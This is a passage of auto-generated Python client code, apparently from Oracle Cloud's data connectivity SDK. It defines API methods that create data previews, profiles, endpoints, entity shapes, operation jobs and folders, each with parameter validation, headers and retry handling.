resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_data_asset_details, response_type="DataAsset", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_data_preview(self, registry_id, create_data_preview_details, **kwargs): """ Provide data preview on live schema :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateDataPreviewDetails create_data_preview_details: (required) Request body parameters to provide data preview :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataPreview` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_data_preview.py.html>`__ to see an example of how to use create_data_preview API. """ resource_path = "/registries/{registryId}/actions/dataPreview" method = "POST" operation_name = "create_data_preview" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_data_preview got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_data_preview_details, response_type="DataPreview", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_data_preview_details, response_type="DataPreview", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_data_profile(self, registry_id, create_data_profile_details, **kwargs): """ Execute data profiling on live schema :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateDataProfileDetails create_data_profile_details: (required) Request body parameters to execute data profiling :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DataProfile` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_data_profile.py.html>`__ to see an example of how to use create_data_profile API. """ resource_path = "/registries/{registryId}/actions/dataProfile" method = "POST" operation_name = "create_data_profile" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_data_profile got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_data_profile_details, response_type="DataProfile", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_data_profile_details, response_type="DataProfile", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_de_reference_artifact(self, registry_id, dcms_artifact_id, create_de_reference_artifact_details, **kwargs): """ DeRereferenced a dcms artifact. :param str registry_id: (required) The registry Ocid. :param str dcms_artifact_id: (required) The ID of a dcms artifact (DataAsset or Endpoint). :param oci.data_connectivity.models.CreateDeReferenceArtifactDetails create_de_reference_artifact_details: (required) The information needed to delete a dcms artifact reference. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DeReferenceInfo` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_de_reference_artifact.py.html>`__ to see an example of how to use create_de_reference_artifact API. """ resource_path = "/registries/{registryId}/dcmsArtifacts/{dcmsArtifactId}/actions/deReferenceArtifact" method = "POST" operation_name = "create_de_reference_artifact" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_de_reference_artifact got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dcmsArtifactId": dcms_artifact_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_de_reference_artifact_details, response_type="DeReferenceInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_de_reference_artifact_details, response_type="DeReferenceInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_detach_data_asset(self, registry_id, endpoint_id, create_detach_data_asset_details, **kwargs): """ Detaches list of DataAssets to the given endpoint :param str registry_id: (required) The registry Ocid. :param str endpoint_id: (required) DCMS Endpoint id :param oci.data_connectivity.models.CreateDetachDataAssetDetails create_detach_data_asset_details: (required) Request body parameters to detach data asset to an private endpoint :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.DetachDataAssetInfo` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_detach_data_asset.py.html>`__ to see an example of how to use create_detach_data_asset API. """ resource_path = "/registries/{registryId}/endpoints/{endpointId}/actions/detachDataAssets" method = "POST" operation_name = "create_detach_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_detach_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_detach_data_asset_details, response_type="DetachDataAssetInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_detach_data_asset_details, response_type="DetachDataAssetInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_endpoint(self, create_endpoint_details, **kwargs): """ Creates a new Data Connectivity Management Endpoint ready for performing data Connectivity. :param oci.data_connectivity.models.CreateEndpointDetails create_endpoint_details: (required) Details for the new Data Connectivity Management Endpoint. :param str registry_id: (optional) DCMS registry id :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_endpoint.py.html>`__ to see an example of how to use create_endpoint API. """ resource_path = "/endpoints" method = "POST" operation_name = "create_endpoint" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "opc_retry_token", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_endpoint got unknown kwargs: {!r}".format(extra_kwargs)) query_params = { "registryId": kwargs.get("registry_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-retry-token": kwargs.get("opc_retry_token", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, body=create_endpoint_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, body=create_endpoint_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_entity_shape(self, registry_id, connection_key, schema_resource_name, create_entity_shape_details, **kwargs): """ Creates the data entity shape using the shape from the data asset. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param oci.data_connectivity.models.CreateEntityShapeDetails create_entity_shape_details: (required) The details needed to create the data entity shape. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str authorization_mode: (optional) Authorization mode for communicating with another OCI service relevant for the API. Allowed values are: "OBO", "USER_PRINCIPAL", "RESOURCE_PRINCIPAL", "INSTANCE_PRINCIPAL", "UNDEFINED" :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.EntityShape` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_entity_shape.py.html>`__ to see an example of how to use create_entity_shape API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/actions/entityShapes" method = "POST" operation_name = "create_entity_shape" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match", "authorization_mode", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_entity_shape got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'authorization_mode' in kwargs: authorization_mode_allowed_values = ["OBO", "USER_PRINCIPAL", "RESOURCE_PRINCIPAL", "INSTANCE_PRINCIPAL", "UNDEFINED"] if kwargs['authorization_mode'] not in authorization_mode_allowed_values: raise ValueError( "Invalid value for `authorization_mode`, must be one of {0}".format(authorization_mode_allowed_values) ) query_params = { "authorizationMode": kwargs.get("authorization_mode", missing), "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_entity_shape_details, response_type="EntityShape", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_entity_shape_details, response_type="EntityShape", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_execute_operation_job(self, registry_id, connection_key, schema_resource_name, create_execute_operation_job_details, **kwargs): """ Call the operation to execute :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str schema_resource_name: (required) The schema resource name used for retrieving schemas. :param oci.data_connectivity.models.CreateExecuteOperationJobDetails create_execute_operation_job_details: (required) Request body parameter for execute operation job input. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ExecuteOperationJobDetails` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_execute_operation_job.py.html>`__ to see an example of how to use create_execute_operation_job API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}/schemas/{schemaResourceName}/actions/executeOperationJobs" method = "POST" operation_name = "create_execute_operation_job" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "endpoint_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_execute_operation_job got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key, "schemaResourceName": schema_resource_name } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_execute_operation_job_details, response_type="ExecuteOperationJobDetails", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_execute_operation_job_details, response_type="ExecuteOperationJobDetails", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_folder(self, registry_id, create_folder_details, **kwargs): """ Creates a folder under a specefied registry. :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateFolderDetails create_folder_details: (required) The information needed to create a folder. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Folder` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_folder.py.html>`__ to see an example of how to use create_folder API. """ resource_path = "/registries/{registryId}/folders" method = "POST" operation_name = "create_folder" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_folder got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_folder_details, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_folder_details, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_full_push_down_task(self, registry_id, create_full_push_down_task_details, **kwargs): """ This endpoint is used to create a connectivity task (like PushdownTask). :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateFullPushDownTaskDetails create_full_push_down_task_details: (required) Request body parameter for full pushdown task :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that 